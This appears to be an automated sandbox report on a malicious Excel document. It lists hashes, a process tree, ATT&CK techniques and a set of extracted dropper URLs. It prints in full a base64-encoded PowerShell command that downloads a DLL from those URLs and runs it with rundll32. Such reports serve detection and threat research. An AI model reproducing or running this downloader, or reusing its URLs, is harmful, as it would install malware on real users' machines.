5dd7cf684929ca3a2dea93934e7685efa18394eb07b64fae4bf03e3239e3cdc9

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20/11/2024, 22:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5dd7cf684929ca3a2dea93934e7685efa18394eb07b64fae4bf03e3239e3cdc9.xls
Size

121KB
MD5

2bf4037dc83d399f5533e984f6a235f0
SHA1

4c047e262ebaa6971925b01d08097235124826e0
SHA256

5dd7cf684929ca3a2dea93934e7685efa18394eb07b64fae4bf03e3239e3cdc9
SHA512

f9f3cbb54d94312041b0e3c19e5ac1e401f9c7f7ca8e002a4d2ae92e70d34b603b7bba4238949ff25e44a74142672b3c67ba37adc55740f33a4f5e88c0812b88
SSDEEP

3072:jlcKoSsxzNDZLDZjlbR868O8KlVH37kehvMqAPjxO5xyZUE5V5xtezEVg8/dgGBW:JcKoSsxzNDZLDZjlbR868O8KlVH37ken

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://alivesystems.com/eln-images/pm2rSsnVM/

exe.dropper

http://don-lee.com/_notes/U6H14DNA/

exe.dropper

http://mellow60s.com/Stanley_files/EFIqwZ183rfmd/

exe.dropper

http://pro-ficientllc.com/PDF_files/5A9W8/

exe.dropper

http://lost-earth.com/Black_and_White/ZW4rHEdD1vZX/

exe.dropper

http://creedmoorpartners.com/eln-images/wEYKd5KJZETheBswq/

exe.dropper

http://mattersoffact.com/cgi/E0C1vtSqt/

exe.dropper

http://pureplatinumband.com/Schedule/EW24AYJCvBpN8Gc/

exe.dropper

http://homehandyworks.com/eln-images/xFIDPfs4SS1yw7ghXXk/

exe.dropper

http://hi-techaudio.com/dir2021/g3d/

exe.dropper

http://roderickpowellentertainment.com/eln-images/OVOyN3y9/

exe.dropper

https://consciences.center/wp-includes/SkW2w/

exe.dropper

http://mag-designs.com/css/L3QKlr6iTzILVzbnC/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2012	3408	wscript.exe	82

Blocklisted process makes network request 14 IoCs

flow	pid	Process
25	4888	powershell.exe
27	4888	powershell.exe
29	4888	powershell.exe
31	4888	powershell.exe
33	4888	powershell.exe
36	4888	powershell.exe
39	4888	powershell.exe
41	4888	powershell.exe
43	4888	powershell.exe
45	4888	powershell.exe
47	4888	powershell.exe
49	4888	powershell.exe
50	4888	powershell.exe
53	4888	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3408	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4888	powershell.exe
4888	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4888	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3408 wrote to memory of 2012	3408	EXCEL.EXE	87
PID 3408 wrote to memory of 2012	3408	EXCEL.EXE	87
PID 2012 wrote to memory of 4724	2012	wscript.exe	88
PID 2012 wrote to memory of 4724	2012	wscript.exe	88
PID 4724 wrote to memory of 4888	4724	cmd.exe	90
PID 4724 wrote to memory of 4888	4724	cmd.exe	90
PID 2012 wrote to memory of 1620	2012	wscript.exe	100
PID 2012 wrote to memory of 1620	2012	wscript.exe	100
PID 1620 wrote to memory of 1648	1620	cmd.exe	102
PID 1620 wrote to memory of 1648	1620	cmd.exe	102
PID 1620 wrote to memory of 1648	1620	cmd.exe	102

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5dd7cf684929ca3a2dea93934e7685efa18394eb07b64fae4bf03e3239e3cdc9.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3408
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\tjspowj.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\programdata\uidpjewl.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAGEAbABpAHYAZQBzAHkAcwB0AGUAbQBzAC4AYwBvAG0ALwBlAGwAbgAtAGkAbQBhAGcAZQBzAC8AcABtADIAcgBTAHMAbgBWAE0ALwAsAGgAdAB0AHAAOgAvAC8AZABvAG4ALQBsAGUAZQAuAGMAbwBtAC8AXwBuAG8AdABlAHMALwBVADYASAAxADQARABOAEEALwAsAGgAdAB0AHAAOgAvAC8AbQBlAGwAbABvAHcANgAwAHMALgBjAG8AbQAvAFMAdABhAG4AbABlAHkAXwBmAGkAbABlAHMALwBFAEYASQBxAHcAWgAxADgAMwByAGYAbQBkAC8ALABoAHQAdABwADoALwAvAHAAcgBvAC0AZgBpAGMAaQBlAG4AdABsAGwAYwAuAGMAbwBtAC8AUABEAEYAXwBmAGkAbABlAHMALwA1AEEAOQBXADgALwAsAGgAdAB0AHAAOgAvAC8AbABvAHMAdAAtAGUAYQByAHQAaAAuAGMAbwBtAC8AQgBsAGEAYwBrAF8AYQBuAGQAXwBXAGgAaQB0AGUALwBaAFcANAByAEgARQBkAEQAMQB2AFoAWAAvACwAaAB0AHQAcAA6AC8ALwBjAHIAZQBlAGQAbQBvAG8AcgBwAGEAcgB0AG4AZQByAHMALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwB3AEUAWQBLAGQANQBLAEoAWgBFAFQAaABlAEIAcwB3AHEALwAsAGgAdAB0AHAAOgAvAC8AbQBhAHQAdABlAHIAcwBvAGYAZgBhAGMAdAAuAGMAbwBtAC8AYwBnAGkALwBFADAAQwAxAHYAdABTAHEAdAAvACwAaAB0AHQAcAA6AC8ALwBwAHUAcgBlAHAAbABhAHQAaQBuAHUAbQBiAGEAbgBkAC4AYwBvAG0ALwBTAGMAaABlAGQAdQBsAGUALwBFAFcAMgA0AEEAWQBKAEMAdgBCAHAATgA4AEcAYwAvACwAaAB0AHQAcAA6AC8ALwBoAG8AbQBlAGgAYQBuAGQAeQB3AG8AcgBrAHMALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwB4AEYASQBEAFAAZgBzADQAUwBTADEAeQB3ADcAZwBoAFgAWABrAC8ALABoAHQAdABwADoALwAvAGgAaQAtAHQAZQBjAGgAYQB1AGQAaQBvAC4AYwBvAG0ALwBkAGkAcgAyADAAMgAxAC8AZwAzAGQALwAsAGgAdAB0AHAAOgAvAC8AcgBvAGQAZQByAGkAYwBrAHAAbwB3AGUAbABsAGUAbgB0AGUAcgB0AGEAaQBuAG0AZQBuAHQALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBPAFYATwB5AE4AMwB5ADkALwAsAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBzAGMAaQBlAG4AYwBlAHMALgBjAGUAbgB0AGUAcgAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFMAawBXADIAdwAvACwAaAB0AHQAcAA6AC8ALwBtAGEAZwAtAGQAZQBzAGkAZwBuAHMALgBjAG8AbQAvAGMAcwBzAC8ATAAzAFEASwBsAHIANgBpAFQAegBJAEwAVgB6AGIAbgBDAC8AIgAuAHMAUABMAEkAdAAoACIALAAiACkAOwAgAGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApACAAewAkAEcAdwBlAFkASAA1ADcAcwBlAGQAcwB3AGQAPQAoACIAYwBpAHUAdwBkADoAaQB1AHcAZABcAHAAcgBpAHUAdwBkAG8AZwBpAHUAdwBkAHIAYQBtAGkAdQB3AGQAZABhAHQAaQB1AHcAZABhAFwAcAB1AGkAaABvAHUAZAAuAGQAaQB1AHcAZABsAGkAdQB3AGQAbAAiACkALgByAGUAUABsAEEAQwBlACgAIgBpAHUAdwBkACIALAAiACIAKQA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4888
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\puihoud.dll,tjpleowdsyf
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1620
  - - \??\c:\windows\syswow64\rundll32.exe
      c:\windows\syswow64\rundll32.exe c:\programdata\puihoud.dll,tjpleowdsyf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vgxu2pif.5s0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
00eaef9c49ed337f8ba246872da1c35d

SHA1
7399d3ea81ab012881c896c4879b446f94610e7b

SHA256
00f664373edb02541ee0f8edc0aa4bedc5fadf967590ee82e5da8d52791b2e54

SHA512
b9d71c0da3991d9f56731e3f4c2d518f59b55ac17ec6cb9a471efe034984d0d059ce631f4023cc0f61ccd2f6131e12558cd68f12affdba8682c6f46a5cfa2717

Download Submit
C:\programdata\uidpjewl.bat

Filesize
3KB

MD5
ee39cb33b8ab709959b2eb524c37e4df

SHA1
adb6601cc966c1fdd798945fd675f3611d5496e6

SHA256
c7bd5c4017c3c585280b5cb00dc96883f19f06ede2401c013142e7f8f46dd593

SHA512
74b6c0ef2bf6e4b6e1ee04063c1cffb265d66c572b6c8af536db40cc42eaa9cf833fd503aae9e0c577622ffca3d7a854989d271edbdbaa5b12238da17b5b9497

Download Submit
\??\c:\programdata\tjspowj.vbs

Filesize
689B

MD5
24a3cd3164d4db5a47b7a321aa51b0c6

SHA1
eb7277f82001af340b6404300465629b19811c3a

SHA256
5eed2cdac8033b25525f9240c83f793f12e606451298bb314ab4b40af62f08a2

SHA512
3ed236cd1bfa2283eec0443dcabd602fc100a2b4c38b60aa9ab99d769dc61f115032686b5572db16e98b9ecb44a94053eb9f0a9b46e94a854217311d0076c8e2

Download Submit
memory/3408-22-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-2-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/3408-20-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-19-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-15-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-21-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-4-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/3408-14-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-13-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-11-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-10-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-8-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-7-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-6-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-5-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/3408-3-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/3408-29-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-1-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/3408-17-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-0-0x00007FFC6DE0D000-0x00007FFC6DE0E000-memory.dmp

Filesize
4KB

Download
memory/3408-118-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-101-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-51-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-87-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-18-0x00007FFC2BD00000-0x00007FFC2BD10000-memory.dmp

Filesize
64KB

Download
memory/3408-16-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-12-0x00007FFC2BD00000-0x00007FFC2BD10000-memory.dmp

Filesize
64KB

Download
memory/3408-9-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-201-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-186-0x00007FFC6DE0D000-0x00007FFC6DE0E000-memory.dmp

Filesize
4KB

Download
memory/3408-187-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-188-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-189-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-191-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-193-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-196-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3408-200-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/4888-184-0x00000270FF690000-0x00000270FFE36000-memory.dmp

Filesize
7.6MB

Download
memory/4888-174-0x00000270FE910000-0x00000270FE932000-memory.dmp

Filesize
136KB

Download